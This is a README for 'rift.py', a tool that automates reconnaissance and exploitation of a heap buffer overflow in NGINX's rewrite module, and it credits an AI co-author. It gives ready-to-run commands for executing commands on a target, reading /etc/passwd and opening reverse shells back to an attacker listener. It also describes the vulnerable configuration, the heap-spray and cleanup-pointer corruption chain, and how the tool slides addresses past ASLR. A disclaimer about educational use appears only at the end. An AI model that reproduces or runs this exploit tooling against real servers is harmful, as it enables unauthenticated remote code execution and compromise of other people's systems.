
A flaw was found in NGINX, specifically within the ngx_http_rewrite_module. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests under specific rewrite configurations. This can lead to a heap buffer overflow in the NGINX worker process, which may result in arbitrary code execution
Author: Michael Sanji Winaya Prawiradibrata
AI Co-Author: Varanus — my friend
Heap buffer overflow exploit framework targeting NGINX's
ngx_http_rewrite_module.
Satu tool untuk reconnaissance + exploitation. Zero external dependencies.
| File | Description |
|---|---|
rift.py | Main tool. Combined recon + exploit in one script (1026 lines). |
README.md | This documentation. |
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon
# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only
| Flag | Function |
|---|---|
--recon | Full reconnaissance. Fingerprint → info leak → endpoint test → worker count → strategy. |
--auto | Recon + automatic exploit. Same as --recon then continue to exploit. |
--check-only | Quick check. Detect NGINX, version, /api/ endpoint. |
--cmd "command" | Execute a single command via system(). |
--shell | Reverse shell — auto open listener, send payload, accept connection. |
| Flag | Default | Function |
|---|---|---|
--port | 80 | Target port |
--lhost | — | Local IP for reverse shell (required if using --shell) |
--lport | 4444 | Local port for listener |
--shell-type | python | Reverse shell payload: python, bash, nc, php |
--heap-base | 0x555555659000 | Heap base address (override for ASLR bypass) |
--libc-base | 0x7ffff77ba000 | libc base address |
--tries | 10 | Attempts per candidate address |
--verbose / -v | — | Detailed output per attempt |
| Flag | Function |
|---|---|
--fingerprint | Detect NGINX version, endpoints, rewrite module |
--leak | Check information leak (memory address in error page, timing) |
--test-endpoint | Test endpoint behaviour with various payloads |
--endpoint | Endpoint path to test (default: /api/) |
--generate-exploit | Generate a custom exploit script with target addresses |
--output json | JSON output (machine-readable) alongside terminal output |
Saat pakai --shell, script otomatis:
--shell-type--lportnc -lvnp), fallback Python listenerIf the default address fails, the script automatically shifts the heap base by ±5 steps × 0x10000, searching for a matching address. No manual setting needed.
4 types of shell payloads — python, bash, nc, php. Choose whichever is available on the target.
--recon runs 5 phases:
--output json for integration with other tools or automatic parsing.
The exploit target is NGINX with a rewrite + set configuration like this:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
As a result: the allocated buffer is too small, URI escaping (3× expansion) overflows.
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")
rift.py)| Constant | Default | Arti |
|---|---|---|
BODY_LEN | 4000 | Ukuran spray body (bytes) |
N_SPRAY | 20 | Jumlah POST request per attempt |
LIBC_SYSTEM_OFFSETS | 7 entries | Offset system() untuk berbagai distro |
PREREAD_HEAP_OFFSETS | 19 entries | Kandidat offset heap |
DEFAULT_HEAP_BASE | 0x555555659000 | Heap base (ASLR off) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Libc base (ASLR off) |
python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto for automatic ASLR sliding--verbose to see details per attemptsudo ufw allow 4444--lhost — make sure the local IP is correct--shell-type bash or --shell-type ncCreated for educational purposes and authorized security testing only.
Use against systems without permission is illegal.
© 2026 Michael Sanji Winaya Prawiradibrata
AI co-author: Varanus